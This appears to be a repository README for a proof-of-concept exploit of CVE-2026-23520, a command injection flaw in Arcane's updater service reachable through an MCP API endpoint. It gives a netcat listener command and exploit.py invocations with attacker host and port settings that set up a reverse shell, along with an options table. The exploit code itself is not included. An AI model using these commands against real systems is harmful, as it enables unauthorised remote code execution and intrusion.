cypher-21/cve-2026-23520Proof-of-concept exploit for CVE-2026-23520, a command injection vulnerability in Arcane's updater service, enabling remote code execution via crafted API requests.
This repository contains a Proof-of-Concept (PoC) exploit for a Remote Command Execution (RCE) vulnerability affecting applications that expose a vulnerable MCP API endpoint (commonly /api/mcp/connect).
The vulnerability allows execution of system-level commands via a crafted API request.
nc -lvnp ATTACKER_PORT
python3 exploit.py TARGET --lhost ATTACKER_IP --lport ATTACKER_PORT
python3 exploit.py <target> --lhost <ATTACKER_IP> --lport <ATTACKER_PORT> [options]
| Argument | Description |
|---|---|
| target | Target IP, domain, or URL |
| --lhost | Attacker IP |
| --lport | Attacker port |
| Flag | Description |
|---|---|
| -p, --port | Target port (default: 443) |
| -s, --scheme | http or https (default: https) |
| -e, --endpoint | API endpoint path |
| -t, --timeout | Request timeout |
| -v, --verbose | Debug output |
python3 exploit.py example.com --lhost 10.10.10.10 --lport 4444
python3 exploit.py example.com -s http -p 80 --lhost 10.10.10.10 --lport 4444
/bin/bash is available.For authorized testing and educational purposes only.
Parosh B